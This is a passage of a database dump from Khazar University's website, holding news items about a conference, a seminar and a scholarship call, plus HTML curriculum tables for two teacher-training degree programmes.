School...','<p>Associate professor Elmira Mammadova-Kekech, an instructor of the Department of the Azerbaijan language and Literature of the School of Education and Gardashkhan Azizkhanli, an instructor of the same department represented Khazar University in National Scientific Conference “Integration in modern world and topical problems of science” held in Lankaran State University on December 22-23, 2017. E.Mammadova-Kekech and G.Azizkhanli delivered presentations on “Contrasts in “Vujudname” (a form of poetry) of Turkish peoples” and “People archetype and creativity problem in contemporary Azerbaijani poetry”, respectively, in the conference section \"Linguistics and literature studies\".</p><p>Representatives from 26 national universities, Institutes of National Academy of Sciences, 10 organisations and 2 Turkish universities participated in the conference.</p>'),(4686,2707,'en','Research Seminar on ‘Participation of Students in University Management’ and New Year Event to be held','A research seminar on ‘Participation of Students in University Management’ and a New Year event, with the organisation of PhD...','<p>A research seminar on ‘Participation of Students in University Management’ and a New Year event, with the organisation of PhD and Master Students Association, will be conducted at 17:00, on December 27, 2017.</p><p>Raziya Isayeva, a PhD candidate, Head of Khazar University Development Centre, will present the research findings on “Participation of Students in University Management and its impact on students\' career achievements (in Azerbaijan)”.</p><p>The seminar will be held in the training room of the Neftchilar campus, Khazar University. The seminar will be followed by a New Year event to be held by PhD and Master students.</p><p>Everyone is welcome. PhD and Master students are strongly encouraged to participate in the seminar.</p>'),(4687,2771,'az','Xəzər Universiteti 2018-2019-cu tədris ili üçün əcnəbi vətəndaşların qəbulu və təqaüd proqramını elan etdi','Xəzər Universiteti 2018-2019-cu tədris ilində əcnəbi vətəndaşlar üçün qəbulun başlanmasını və Beynəlxalq Təqaüd Proqramını elan etdi....','<p>Xəzər Universiteti 2018-2019-cu tədris ilində əcnəbi vətəndaşlar üçün qəbulun başlanmasını və Beynəlxalq Təqaüd Proqramını elan etdi. Tədris proqramları dörd (4) fakültədə: Mühəndislik və tətbiqi elmlər; İqtisadiyyat və menecment; Humanitar və sosial elmlər; və Təhsil fakültələrində bakalavriatura, magistratura və doktorantura səviyyələrində təklif olunur.</p><p>Təqaüd proqramı dünyanın bütün ölkələrindən olan tələbələr üçün açıqdır və hər ölkəyə tam təhsil haqqını ödəyən iki təqaüd imkanı ayırır. Hazırda Xəzər Universitetində 30-a yaxın ölkədən 150-dən çox əcnəbi tələbə əyani təhsil alır. Əfqanıstan, Əlcəzair, Barbados, Kamerun, Çex Respublikası, İndoneziya, İraq, Pakistan, Fələstin, Rusiya, Türkiyə və bir çox başqa ölkələrdən olan tələbələr bu təqaüd proqramından yararlanmışlar.</p><p><strong>Son müraciət tarixi: 15 aprel 2018-ci il, saat 17:00 (Bakı vaxtı ilə).</strong></p><p>Qəbul və təqaüd proqramı haqqında ətraflı məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_\">http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_  </a>.<br></p>'),(4700,2789,'en','Curriculum','Curriculum','<table cellpadding=\"0\" cellspacing=\"0\" width=\"913\" style=\"\" border-collapse:collapse;width:685pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl102\" width=\"913\" style=\"\" height:30.0pt;width:685pt\"\"=\"\"><h3><strong>050115 – Coğrafiya müəllimliyi</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\">\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>1-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 101</td>\r\n  <td>İngilis dilinin\r\n  əsasları 1</td>\r\n  <td>4</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"247\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td width=\"33\">4</td>\r\n  <td>ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td width=\"216\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150&nbsp;</td>\r\n  <td width=\"247\">Azərbaycan\r\n  tarixi</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">AZLL 106</td>\r\n  <td>Müasir azərbaycan\r\n  dili-1</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL108</td>\r\n  <td width=\"247\">Müasir\r\n  Azərbaycan dili-2</td>\r\n  <td>3</td>\r\n  <td>AZLL 106</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">AZLL107</td>\r\n  <td width=\"216\">Azərbaycan\r\n  ədəbiyyat tarixi-1 (Azərbaycan şifahi xalq ədəbiyyatı)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">LIT 116</td>\r\n  <td width=\"247\">Ədəbiyyat\r\n  nəzəriyyəsi</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">CMS 101</td>\r\n  <td width=\"216\">Kompüter\r\n  elminə giriş</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL109</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbiyyatı tarixi-2</td>\r\n  <td>3</td>\r\n  <td width=\"75\">AZLL107</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td><strong>Kredit</strong></td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>2-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"247\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 103</td>\r\n  <td width=\"216\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td width=\"46\">4</td>\r\n  <td>ENGL 102</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 216</td>\r\n  <td width=\"247\">Xüsusi\r\n  məqsədlər üçün ingilis dilini</td>\r\n  <td width=\"33\">3</td>\r\n  <td>ENGL 103</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 211</td>\r\n  <td width=\"216\">Əski\r\n  əlifba (<strong><em>Humanitar-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PERS 206</td>\r\n  <td width=\"247\">Fars\r\n  dili (<strong><em>Humanitar-2</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl81\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 206</td>\r\n  <td width=\"216\">Müasir\r\n  Azərbaycan dili-3</td>\r\n  <td width=\"46\">3</td>\r\n  <td>AZLL 108</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 302</td>\r\n  <td width=\"247\">Müasir\r\n  Azərbaycan dili-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL\r\n  206</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LİNG 216</td>\r\n  <td width=\"216\">Dilçiliyin\r\n  əsasları</td>\r\n  <td>3</td>\r\n  <td>none</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">SPH 202</td>\r\n  <td width=\"247\">Üslubiyyət\r\n  və nitq mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"56\">\r\n  <td height=\"56\" class=\"xl68\" width=\"86\" style=\"\" height:42.0pt;border-top:none;width:65pt\"\"=\"\">AZLL207</td>\r\n  <td width=\"216\">Azərbaycan\r\n  ədəbiyyatı tarixi-3</td>\r\n  <td width=\"46\">3</td>\r\n  <td>AZLL 109</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL208</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbiyyatı tarixi-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL207</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"247\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>3-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"247\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL307</td>\r\n  <td width=\"216\">Azərbaycan\r\n  ədəbiyyatı tarixi -5</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">AZLL208</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 306</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbi dil tarixi</td>\r\n  <td>3</td>\r\n  <td>AZLL206</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LIT 305</td>\r\n  <td width=\"216\">Dünya\r\n  ədəbiyyatı-1</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">TURK 305</td>\r\n  <td width=\"247\">Türk\r\n  dillərinin müqayisəli qrammatikası</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">yox</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">MED 315</td>\r\n  <td width=\"216\">Mülki\r\n  müdafiə və tibbi biliklərin əsasları&nbsp;&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL343</td>\r\n  <td width=\"247\">Azərbaycan\r\n  ədəbiyyatı tarixi-6</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL307</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 101</td>\r\n  <td width=\"216\">Təhsilə\r\n  giriş <strong><em>(Sosial-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td width=\"75\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">LIT 308</td>\r\n  <td width=\"247\">Dünya\r\n  ədəbiyyatı-2</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">LIT\r\n  305</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">TURK 201</td>\r\n  <td>Türkologiyaya giriş\r\n  (<strong><em>Seçmə dil-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td width=\"75\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PSYC 304</td>\r\n  <td width=\"247\">Təhsil\r\n  psixologiyası (<strong><em>Sosial-2</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL 314</td>\r\n  <td width=\"247\">Leksikologiya\r\n  (<strong><em>Seçmə dil-2</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"75\">AZLL\r\n  302</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">15</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"247\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"20\"><strong>4-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"216\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"247\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"75\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">LIT405</td>\r\n  <td width=\"216\">Dünya\r\n  ədəbiyyatı-3</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">LİT\r\n  308</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL416</td>\r\n  <td width=\"247\">Ədəbi\r\n  tənqid</td>\r\n  <td width=\"33\">3</td>\r\n  <td>LIT 343</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl68\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">AZLL 480</td>\r\n  <td width=\"216\">Onomastika\r\n  (<strong><em>S</em></strong><strong><em>eçmə dil-3</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">AZLL\r\n  302</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 412</td>\r\n  <td width=\"247\">Azərbaycan\r\n  dialektologiyası (<strong><em>Seçmə dil-4</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>LING 216</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">TURK 102</td>\r\n  <td width=\"216\">Türk\r\n  xalqları ədəbiyyatı (Seçmə ədəbiyyat-1)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 488</td>\r\n  <td width=\"247\">Şərq\r\n  dilləri mühiti və Azərbaycan ədəbiyyatı (<strong><em>Seçmə ədəbiyyat-3</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">LİT 466</td>\r\n  <td width=\"216\">20-ci\r\n  əsr Azərbaycan nəsri&nbsp;(<strong><em>Seçmə ədəbiyyat-2</em></strong>)&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"75\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL 497</td>\r\n  <td width=\"247\">Yaradıcı\r\n  yazı (<strong><em>Seçmə ədəbiyyat-4</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl68\" width=\"86\" style=\"\" height:25.5pt;border-top:none;width:65pt\"\"=\"\">EDU 408</td>\r\n  <td width=\"216\">Ana\r\n  dilinin tədrisi metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"75\">EDU\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL 456</td>\r\n  <td width=\"247\">Azərbaycan\r\n  dramaturqiyası (<strong><em>Seçmə ədəbiyyat-5</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 409</td>\r\n  <td>Ədəbiyyatın tədrisi\r\n  metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"75\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"216\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">15</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"247\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"75\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"></td>\r\n  <td><strong>Ümumi</strong></td>\r\n  <td>132</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr></tbody></table>  <br><br><br><br><br>  <div><br></div><div><table cellpadding=\"0\" cellspacing=\"0\" width=\"1070\" style=\"\" border-collapse:collapse;width:803pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl102\" width=\"913\" style=\"\" height:30.0pt;width:685pt\"\"=\"\"><h3><strong>050101 – Azərbaycan dili və ədəbiyyatı&nbsp; müəllimliyi</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\">\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>1-ci il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td rowspan=\"2\" height=\"23\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"6\">\r\n  <td height=\"6\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">ENGL 101</td>\r\n  <td>İngilis dilinin\r\n  əsasları 1</td>\r\n  <td>4</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"360\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td width=\"33\">4</td>\r\n  <td>ENGL 101</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td width=\"270\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150&nbsp;</td>\r\n  <td width=\"360\">Azərbaycan\r\n  tarixi</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">AZLL 106</td>\r\n  <td>Müasir azərbaycan\r\n  dili-1</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL108</td>\r\n  <td width=\"360\">Müasir\r\n  Azərbaycan dili-2</td>\r\n  <td>3</td>\r\n  <td>AZLL 106</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl64\" width=\"67\" style=\"\" height:25.5pt;border-top:none;width:50pt\"\"=\"\">AZLL107</td>\r\n  <td width=\"270\">Azərbaycan\r\n  ədəbiyyat tarixi-1 (Azərbaycan şifahi xalq ədəbiyyatı)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">LİT 116</td>\r\n  <td width=\"360\">Ədəbiyyat\r\n  nəzəriyyəsi</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">CMS 101</td>\r\n  <td width=\"270\">Kompüter\r\n  elminə giriş</td>\r\n  <td width=\"32\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL109</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbiyyatı tarixi-2</td>\r\n  <td>3</td>\r\n  <td width=\"107\">AZLL107</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\">Kredit</td>\r\n  <td width=\"32\">16</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Kredit</td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>2-ci il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td rowspan=\"2\" height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"360\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"107\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"3\">\r\n  <td height=\"3\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">ENGL 103</td>\r\n  <td width=\"270\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td width=\"32\">4</td>\r\n  <td>ENGL 102</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 216</td>\r\n  <td width=\"360\">Xüsusi\r\n  məqsədlər üçün ingilis dilini</td>\r\n  <td width=\"33\">3</td>\r\n  <td>ENGL 103</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">AZLL 211</td>\r\n  <td width=\"270\">Əski\r\n  əlifba (humanitar-1)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">PERS 206</td>\r\n  <td width=\"360\">Fars\r\n  dili (<strong><em>Humanitar-2</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl82\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">AZLL 206</td>\r\n  <td width=\"270\">Müasir\r\n  Azərbaycan dili-3</td>\r\n  <td width=\"32\">3</td>\r\n  <td>AZLL 108</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 302</td>\r\n  <td width=\"360\">Müasir\r\n  Azərbaycan dili-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">AZLL\r\n  206</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">EDU 101</td>\r\n  <td>Təhsilə giriş&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"101\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">LING 216</td>\r\n  <td width=\"360\">Dilçiliyin\r\n  əsasları</td>\r\n  <td>3</td>\r\n  <td>none</td>\r\n </tr>\r\n <tr height=\"56\">\r\n  <td height=\"56\" class=\"xl64\" width=\"67\" style=\"\" height:42.0pt;border-top:none;width:50pt\"\"=\"\">AZLL207</td>\r\n  <td width=\"270\">Azərbaycan\r\n  ədəbiyyatı tarixi-3</td>\r\n  <td width=\"32\">3</td>\r\n  <td>AZLL 109</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL208</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbiyyatı tarixi-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">AZLL207</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">SCI 101</td>\r\n  <td width=\"360\">Yer\r\n  və fəza elmləri&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td 